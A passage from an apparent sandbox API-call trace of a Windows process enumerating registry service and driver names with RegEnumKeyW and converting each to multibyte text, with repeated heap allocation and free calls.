dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0213.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0213.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1850, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0213.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.059] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0213.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0213.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a00, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0213.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.060] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0213.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0213.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0213.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.060] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0213.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0213.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.060] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0213.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0213.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0213.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.062] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0213.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0213.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0213.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.062] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0213.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0213.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1850, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0213.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.062] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0213.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0213.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0213.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.063] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0213.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0213.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0213.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.063] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0213.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0213.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0213.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.063] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0213.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0213.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0213.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0213.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0213.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0213.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0213.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0213.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0213.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0213.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0213.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0213.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0213.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0213.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0213.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0213.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0213.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0213.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0213.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0213.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0213.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0213.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0213.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0213.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0213.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0213.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0213.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0213.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0213.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0213.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0213.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0213.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0213.066] RtlAllocateHeap 